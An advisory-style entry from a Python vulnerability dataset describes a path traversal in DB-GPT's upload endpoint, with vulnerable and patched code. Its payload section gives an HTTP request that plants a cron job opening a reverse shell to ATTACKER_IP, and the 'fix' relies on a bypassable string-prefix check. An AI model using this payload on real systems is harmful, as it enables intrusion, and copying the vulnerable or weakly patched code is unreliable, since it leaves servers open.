CVE-2026-73034
Unauthenticated path traversal in DB-GPT file upload allows RCE.
- CVSS 9.3
- 22
- Input Validation and Sanitization
- Remote
DB-GPT v0.8.1 contains an unauthenticated path traversal vulnerability that allows remote attackers to write arbitrary files to any location on the server by injecting directory traversal sequences into the user_id HTTP header of the Python file-upload endpoint. Attackers can send a crafted multipart upload request with a traversal-poisoned user_id header to escape the intended upload directory and write attacker-controlled content to locations such as Python startup hooks, cron directories, or agent scripts, resulting in remote code execution.
- CWE
- 22
- CVSS base score
- 9.3
- Published
- 2026-08-11
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- DB-GPT
- Fixed by upgrading
- Yes
Solution
Upgrade to DB-GPT version 0.8.2 or later.
Vulnerable code sample
import os
UPLOAD_DIR = "/app/data/uploads"
def process_file_upload(request):
"""
Saves a file from a multipart upload request to a user-specific directory.
The 'request' object is assumed to have 'headers' and 'files' attributes.
"""
user_id = request.headers.get("user_id")
if not user_id:
raise ValueError("user_id header is missing")
upload = request.files.get("file_content")
if not upload:
raise ValueError("File content is missing")
# VULNERABLE: The user_id is taken from a header and joined directly into a file path.
# An attacker can use traversal sequences like '..' to escape the UPLOAD_DIR.
user_directory = os.path.join(UPLOAD_DIR, user_id)
if not os.path.isdir(user_directory):
os.makedirs(user_directory)
file_path = os.path.join(user_directory, upload.filename)
with open(file_path, "wb") as f:
f.write(upload.read())
return file_pathPatched code sample
import os
UPLOAD_DIR = "/app/data/uploads"
def process_file_upload(request):
"""
Saves a file from a multipart upload request to a user-specific directory.
The 'request' object is assumed to have 'headers' and 'files' attributes.
"""
user_id = request.headers.get("user_id")
if not user_id:
raise ValueError("user_id header is missing")
upload = request.files.get("file_content")
if not upload:
raise ValueError("File content is missing")
user_directory = os.path.join(UPLOAD_DIR, user_id)
# FIX: The path is resolved and checked to ensure it's within the intended base directory.
real_path = os.path.realpath(user_directory)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
raise PermissionError("Directory traversal detected")
if not os.path.isdir(user_directory):
os.makedirs(user_directory)
file_path = os.path.join(user_directory, upload.filename)
with open(file_path, "wb") as f:
f.write(upload.read())
return file_pathPayload
POST /api/v1/knowledge/document/upload HTTP/1.1
Host: vulnerable-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
user_id: ../../../../../../../../../../etc/cron.d/
Content-Length: 219
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="rce-job"
* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Cite this entry
@misc{vaitp:cve202673034,
title = {{Unauthenticated path traversal in DB-GPT file upload allows RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-73034},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-73034/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
